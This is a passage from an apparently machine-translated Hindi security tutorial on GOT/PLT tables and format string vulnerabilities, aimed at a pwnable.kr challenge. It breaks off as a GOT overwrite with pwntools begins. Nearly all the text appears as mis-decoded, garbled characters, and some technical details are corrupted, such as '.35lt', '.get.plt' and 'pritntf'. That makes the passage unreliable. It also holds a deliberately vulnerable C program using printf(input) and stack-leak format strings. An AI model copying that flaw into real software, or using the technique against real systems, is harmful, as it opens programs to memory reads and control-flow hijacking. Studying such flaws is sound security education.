рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рд╣рдо рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВрдЧреЗ: рдСрдлрд╝рд╕реЗрдЯ рдХреА рд╡реИрд╢реНрд╡рд┐рдХ рддрд╛рд▓рд┐рдХрд╛ рдХреНрдпрд╛ рд╣реИ, рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд░рд┐рд╢реНрддреЛрдВ рдХреА рддрд╛рд▓рд┐рдХрд╛ рдФрд░ рдкреНрд░рд╛рд░реВрдк рд╕реНрдЯреНрд░рд┐рдВрдЧ рднреЗрджреНрдпрддрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕рдХреЗ рдкреБрдирд░реНрд▓реЗрдЦрдиред рд╣рдо
pwnable.kr рд╕рд╛рдЗрдЯ рд╕реЗ 5 рд╡реЗрдВ рдХрд╛рд░реНрдп рдХреЛ рднреА рд╣рд▓ рдХрд░реЗрдВрдЧреЗред
рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЬрд╛рдирдХрд╛рд░реАрд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рд╕реВрдЪрдирд╛ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдХрд┐рд╕реА рднреА рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХреБрдЫ рдирдпрд╛ рд╕реАрдЦрдирд╛ рдФрд░ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдореИрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢реНрд░реЗрдгрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд▓рд┐рдЦреВрдВрдЧрд╛ рдФрд░ рдмрд╛рдд рдХрд░реВрдВрдЧрд╛:
- PWN;
- рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлреА (рдХреНрд░рд┐рдкреНрдЯреЛ);
- рдиреЗрдЯрд╡рд░реНрдХ рдЯреЗрдХреНрдиреЛрд▓реЙрдЬреАрдЬ (рдиреЗрдЯрд╡рд░реНрдХ);
- рд░рд┐рд╡рд░реНрд╕ (рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ);
- рд╕реНрдЯреЗрдЧреНрдиреЛрдЧреНрд░рд╛рдлрд╝реА (рд╕реНрдЯреЗрдЧреНрдиреЛ);
- WEB рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдФрд░ рдЙрдирдХрд╛ рджреЛрд╣рдиред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдореИрдВ рдЕрдкрдиреЗ рдЕрдиреБрднрд╡ рдХреЛ рдХрдВрдкреНрдпреВрдЯрд░ рдлреЛрд░реЗрдВрд╕рд┐рдХ, рдореИрд▓рд╡реЗрдпрд░ рдФрд░ рдлрд░реНрдорд╡реЗрдпрд░ рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг, рд╡рд╛рдпрд░рд▓реЗрд╕ рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рд╕реНрдерд╛рдиреАрдп рдХреНрд╖реЗрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╣рдорд▓реЗ, рдкреЗрдВрдЯреЗрд╕реНрдЯ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рдиреЗ рдФрд░ рдХрд╛рд░рдирд╛рдореЗ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рд╛рдЭрд╛ рдХрд░реВрдВрдЧрд╛ред
рддрд╛рдХрд┐ рдЖрдк рдирдП рд▓реЗрдЦ, рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдмрд╛рд░реЗ
рдореЗрдВ рдЬрд╛рди рд╕рдХреЗрдВ, рдореИрдВрдиреЗ
рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдореЗрдВ рдПрдХ
рдЪреИрдирд▓ рдмрдирд╛рдпрд╛ рдФрд░ рдЖрдИрд╕реАрдбреА рдХреЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ
рдХрд┐рд╕реА рднреА рдореБрджреНрджреЗ рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ
рд╕рдореВрд╣ рдмрдирд╛рдпрд╛ред рд╕рд╛рде рд╣реА, рдореИрдВ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рдЖрдкрдХреЗ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЕрдиреБрд░реЛрдзреЛрдВ, рдкреНрд░рд╢реНрдиреЛрдВ, рд╕реБрдЭрд╛рд╡реЛрдВ рдФрд░ рд╕рд┐рдлрд╛рд░рд┐рд╢реЛрдВ рдкрд░
рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рд╡рд┐рдЪрд╛рд░
рдХрд░реВрдВрдЧрд╛ рдФрд░ рд╕рднреА рдХрд╛ рдЬрд╡рд╛рдм рджреВрдВрдЧрд╛ ред
рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рд▓реЗрдЦрдХ рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рдЕрдзреНрдпрдпрди рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдкреНрд░рд╛рдкреНрдд рдЬреНрдЮрд╛рди рдФрд░ рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдХрд┐рд╕реА рдХреЛ рд╣реБрдП рдиреБрдХрд╕рд╛рди рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдЬрд╝рд┐рдореНрдореЗрджрд╛рд░реА рдирд╣реАрдВ рдЙрдард╛рддрд╛ рд╣реИред
рд╡реИрд╢реНрд╡рд┐рдХ рдСрдлрд╕реЗрдЯ рддрд╛рд▓рд┐рдХрд╛ рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рдВрдмрдВрдз рддрд╛рд▓рд┐рдХрд╛
рдбрд╛рдпрдирд╛рдорд┐рдХрд▓реА рд▓рд┐рдВрдХреНрдб рд▓рд╛рдЗрдмреНрд░реЗрд░рд┐рдпреЛрдВ рдХреЛ рдмреВрдЯ рд╕рдордп рдкрд░ рдпрд╛ рд░рдирдЯрд╛рдЗрдо рдкрд░ рдПрдХ рдЕрд▓рдЧ рдлрд╛рдЗрд▓ рд╕реЗ рдореЗрдореЛрд░реА рдореЗрдВ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдФрд░, рдЗрд╕рд▓рд┐рдП, рдЕрдиреНрдп рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕реНрдореГрддрд┐ рд╕рдВрдШрд░реНрд╖ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдореГрддрд┐ рдореЗрдВ рдЙрдирдХреЗ рдкрддреЗ рддрдп рдирд╣реАрдВ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдПрд╕рдПрд▓рдЖрд░ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рдмреВрдЯ рд╕рдордп рдкрд░ рдкреНрд░рддреНрдпреЗрдХ рдореЙрдбреНрдпреВрд▓ рдХреЗ рдкрддреЗ рдХреЛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдХрд░реЗрдЧрд╛ред
рд╡реИрд╢реНрд╡рд┐рдХ рдСрдлрд╕реЗрдЯ рддрд╛рд▓рд┐рдХрд╛ (GOT) - рдбреЗрдЯрд╛ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдкрддреЛрдВ рдХреА рдПрдХ рддрд╛рд▓рд┐рдХрд╛ред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реИрд╢реНрд╡рд┐рдХ рд╕рдордп рдХреЗ рдЙрди рдЪрд░реЛрдВ рдХреА рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрдХрд▓рди рд╕рдордп рдореЗрдВ рдЕрдЬреНрдЮрд╛рдд рдереЗред рдпрд╣ рддрд╛рд▓рд┐рдХрд╛ рдбреЗрдЯрд╛ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рд╣реИ рдФрд░ рд╕рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХреА рдЬрд╛рддреА рд╣реИред рдХреЛрдб рдЦрдВрдб рджреНрд╡рд╛рд░рд╛ рд╕рдВрджрд░реНрднрд┐рдд рд╕рднреА рдкреВрд░реНрдг рдкрддреЗ рдЗрд╕ GOT рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдЗрди рдкреВрд░реНрдг рдкрддреЛрдВ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдб рд╕реЗрдХреНрд╢рди рд╕рдВрдмрдВрдзрд┐рдд рдСрдлрд╕реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛрдб рдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рд╕рд╛рдЭрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рднрд▓реЗ рд╣реА рд╡реЗ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдореЗрдореЛрд░реА рдПрдбреНрд░реЗрд╕ рд╕реНрдкреЗрд╕ рдореЗрдВ рд▓реЛрдб рдХрд┐рдП рдЧрдП рд╣реЛрдВред
рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд▓рд┐рдВрдХреЗрдЬ рддрд╛рд▓рд┐рдХрд╛ (рдкреАрдПрд▓рдЯреА) рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдВрдк рдХреЛрдб рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рдирдХреЗ рдкрддреЗ рдЬреАрдУрдЯреА рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ, рдЕрд░реНрдерд╛рдд рдкреАрдПрд▓рдЯреА рдореЗрдВ рд╡реЗ рдкрддреЗ рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рдирдореЗрдВ рдЬреАрдУрдЯреА рд╕реЗ рдбреЗрдЯрд╛ (рдкрддреЗ) рдХреЗ рдкрддреЗ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВред
рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рддрдВрддреНрд░ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ:
- рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛрдб рдореЗрдВ, рдмрд╛рд╣рд░реА рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рд┐рдВрдЯрдл рдХреЛ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред
- рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╡рд╛рд╣ PLT рдореЗрдВ nth рд░рд┐рдХреЙрд░реНрдб рдкрд░ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рд╕рдВрдХреНрд░рдордг рдПрдХ рдкреВрд░реНрдг рдкрддреЗ рдХреЗ рдмрдЬрд╛рдп рдПрдХ рд╕рд╛рдкреЗрдХреНрд╖ рдСрдлрд╕реЗрдЯ рдкрд░ рд╣реЛрддрд╛ рд╣реИред
- GOT рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдкрддреЗ рдкрд░ рдЬрд╛рддрд╛ рд╣реИред GOT рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдлрд╝рдВрдХреНрд╢рди рдкреЙрдЗрдВрдЯрд░ рдкрд╣рд▓реЗ PLT рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдкрд░ рд╡рд╛рдкрд╕ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред
- рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрджрд┐ рдкреНрд░рд┐рдВрдЯрдлрд╝ рдХреЛ рдкрд╣рд▓реА рдмрд╛рд░ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдбрд╛рдпрдирд╛рдорд┐рдХ рд▓рд┐рдВрдХрд░ рдХрдирд╡рд░реНрдЯрд░ рдХреЛ рд▓рдХреНрд╖реНрдп рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред
- рдкреНрд░рд┐рдВрдЯрдлрд╝ рдкрддреЗ рдХреЛ рдЬреАрдУрдЯреА рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рдкреНрд░рд┐рдВрдЯрдлрд╝ рдХреЛ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред
- рдпрджрд┐ рдкреНрд░рд┐рдВрдЯрдлрд╝ рдХреЛ рдлрд┐рд░ рд╕реЗ рдХреЛрдб рдореЗрдВ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд░рд┐рдЬрд╝реЙрд▓реНрд╡рд░ рдХреЛ рдХреЙрд▓ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рд┐рдВрдЯ рдХрд╛ рдкрддрд╛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЬреАрдУрдЯреА рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИред

рдЗрд╕ рд╡рд┐рд▓рдВрдмрд┐рдд рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп, рд░рди рдЯрд╛рдЗрдо рдореЗрдВ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрд╣ рдмрд╣реБрдд рд╕рдордп рдмрдЪрд╛рддрд╛ рд╣реИред
рдЗрд╕ рддрдВрддреНрд░ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЦрдВрдб рдлрд╛рдЗрд▓ рдореЗрдВ рдореМрдЬреВрдж рд╣реИрдВ:
- .GOT - GOT рдХреЗ рд▓рд┐рдП рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рд╣реИрдВ;
- .35lt - рдкреАрдПрд▓рдЯреА рдХреЗ рд▓рд┐рдП рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ;
- .got.plt - рдкрддрд╛ рд░рд┐рд╢реНрддреЗ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ GOT - PLT;
- .plt.got - рдкрддрд╛ рд░рд┐рд╢реНрддреЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ PLT - GOTред
рдЪреВрдБрдХрд┐ .get.plt рд╕реЗрдХреНрд╢рди рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреА рдПрдХ рд╕рд░рдгреА рд╣реИ рдФрд░ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдПрдХреНрдЬреАрдХреНрдпреВрд╢рди рдХреЗ рджреМрд░рд╛рди рднрд░реА рдЬрд╛рддреА рд╣реИ (рдпрд╛рдиреА, рдЗрд╕рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ), рд╣рдо рдЙрдирдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдПрдХ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдПрдХреНрдЬрд╝рд┐рдХреНрдпреВрд╢рди рдлреНрд▓реЛ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдкреНрд░рд╛рд░реВрдк рд╕реНрдЯреНрд░рд┐рдВрдЧ
рдПрдХ рдкреНрд░рд╛рд░реВрдк рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреНрд░рд╛рд░реВрдк рд╡рд┐рдирд┐рд░реНрджреЗрд╢рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╣реИред рдкреНрд░рд╛рд░реВрдк рд╡рд┐рдирд┐рд░реНрджреЗрд╢рдХ рдХреЛ рдкреНрд░рддреАрдХ "%" (рдкреНрд░рддрд┐рд╢рдд рдЪрд┐рд╣реНрди рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЕрдиреБрдХреНрд░рдо "%%" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ) рджреНрд╡рд╛рд░рд╛ рджрд░реНрд╢рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред
pritntf(тАЬoutput %s 123тАЭ, тАЬstrтАЭ); output str 123
рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд░рд╛рд░реВрдк рд╡рд┐рдирд┐рд░реНрджреЗрд╢рдХ:
- рдбреА - рджрд╢рдорд▓рд╡ рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рд╕рдВрдЦреНрдпрд╛, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЖрдХрд╛рд░, рдЖрдХрд╛рд░ (рдЗрдВрдЯ);
- x рдФрд░ X рдПрдХ рдЕрд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рд╕рдВрдЦреНрдпрд╛ рд╣реИрдВ, x рдЫреЛрдЯреЗ рдЕрдХреНрд╖рд░реЛрдВ (abcdef), X рдЕрдкрд░рдХреЗрд╕ (ABCDEF) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЖрдХрд╛рд░ рдЖрдХрд╛рд░ (int) рд╣реИ;
- рдПрд╕ - рд╢реВрдиреНрдп рд╕рдорд╛рдкреНрддрд┐ рдмрд╛рдЗрдЯ рдХреЗ рд╕рд╛рде рд▓рд╛рдЗрди рдЖрдЙрдЯрдкреБрдЯ;
- n рд╡рд░реНрдгреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдЙрд╕ рд╕рдордп рд▓рд┐рдЦреА рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ n рдЕрдиреБрдХреНрд░рдо рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИред
рдкреНрд░рд╛рд░реВрдк рд╕реНрдЯреНрд░рд┐рдВрдЧ рднреЗрджреНрдпрддрд╛ рдХреНрдпреЛрдВ рд╕рдВрднрд╡ рд╣реИ
рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдореЗрдВ рдПрдХ рдкреНрд░рд╛рд░реВрдк рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдП рдмрд┐рдирд╛ рдкреНрд░рд╛рд░реВрдк рдЖрдЙрдЯрдкреБрдЯ рдХрд╛рд░реНрдпреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ (рдЬреИрд╕рд╛ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ)ред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдо рдЦреБрдж рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рд╛рд░реВрдк рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рд╕реНрдЯреИрдХ рд╕реЗ рдорд╛рдиреЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреА рдУрд░ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЬрдм рдореЗрдореЛрд░реА рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢реЗрд╖ рдкреНрд░рд╛рд░реВрдк рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред
рдирд┐рдореНрди рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ:
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int main(){ char input[100]; printf("Start program!!!\n"); printf("Input: "); scanf("%s", &input); printf("\nYour input: "); printf(input); printf("\n"); exit(0); }
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЕрдЧрд▓реА рдкрдВрдХреНрддрд┐ рдЖрдЙрдЯрдкреБрдЯ рд╕реНрд╡рд░реВрдк рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд░рддреА рд╣реИред
printf(input);
рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВред
gcc vuln1.c -o vuln -no-pie
рдЖрдЗрдП рд╕реНрдЯреИрдХ рдкрд░ рдореМрдЬреВрдж рдорд╛рдиреЛрдВ рдХреЛ рдПрдХ рдлреЙрд░реНрдореЗрдЯ рд╕реНрдкреЗрд╕рд┐рдлрд╛рдпрд░ рд╡рд╛рд▓реА рд▓рд╛рдЗрди рдореЗрдВ рджреЗрдЦреЗрдВред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЬрдм рдкреНрд░рд┐рдВрдЯрдл (рдЗрдирдкреБрдЯ) рдкрд░ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдирд┐рдореНрди рдХреЙрд▓ рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддрд╛ рд╣реИ:
printf(тАЬ%p-%p-%p-%p-%pтАЬ);
рдпрд╣ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рд░рд╣рддрд╛ рд╣реИ рдХрд┐ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреНрдпрд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред рдкреНрд░рд┐рдВрдЯрдл рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдХрдИ рддрд░реНрдХ рд╣реИрдВ, рдЬреЛ рдПрдХ рдкреНрд░рд╛рд░реВрдк рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдбреЗрдЯрд╛ рд╣реИрдВред
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдХреЗ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ:
printf(тАЬNumber - %d, addres - %08x, string - %sтАЭ, a, &b, c);
рдЬрдм рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕реНрдЯреИрдХ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рджрд┐рдЦреЗрдЧрд╛ред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЬрдм рдПрдХ рдкреНрд░рд╛рд░реВрдк рд╡рд┐рдирд┐рд░реНрджреЗрд╢рдХ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдлрд╝рдВрдХреНрд╢рди рд╕реНрдЯреИрдХ рдХрд╛ рдорд╛рди рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕реА рддрд░рд╣, рд╣рдорд╛рд░реЗ рдЙрджрд╛рд╣рд░рдг рд╕реЗ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╕реНрдЯреИрдХ рд╕реЗ 5 рдорд╛рди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ред

рдЙрдкрд░реЛрдХреНрдд рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рд╕реНрдЯреИрдХ рдореЗрдВ рдЕрдкрдирд╛ рдкреНрд░рд╛рд░реВрдк рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкрд╛рддреЗ рд╣реИрдВред

рд╣реЗрдХреНрд╕ рджреГрд╢реНрдп рд╕реЗ рдореВрд▓реНрдпреЛрдВ рдХрд╛ рдЕрдиреБрд╡рд╛рдж рдХрд░рддреЗ рд╕рдордп, рд╣рдо рд╕реНрдЯреНрд░рд┐рдВрдЧ "% -p% AAAA" рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВред рдпрд╣реА рд╣реИ, рд╣рдо рд╕реНрдЯреИрдХ рд╕реЗ рдореВрд▓реНрдпреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗред
GOT рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ
рдЖрдЗрдП рдкреНрд░рд╛рд░реВрдк рд╕реНрдЯреНрд░рд┐рдВрдЧ рднреЗрджреНрдпрддрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬреАрдУрдЯреА рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЪрд▓реЛ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреЗ рдкрддреЗ () рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдореБрдЦреНрдп рдХреЗ рдкрддреЗ рдкрд░ рд▓рд┐рдЦрдХрд░ рд╣рдорд╛рд░реЗ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рд▓реВрдк рдХрд░реЗрдВред рд╣рдо pwntools рдХрд╛ рдЙрдкрдпреЛрдЧ 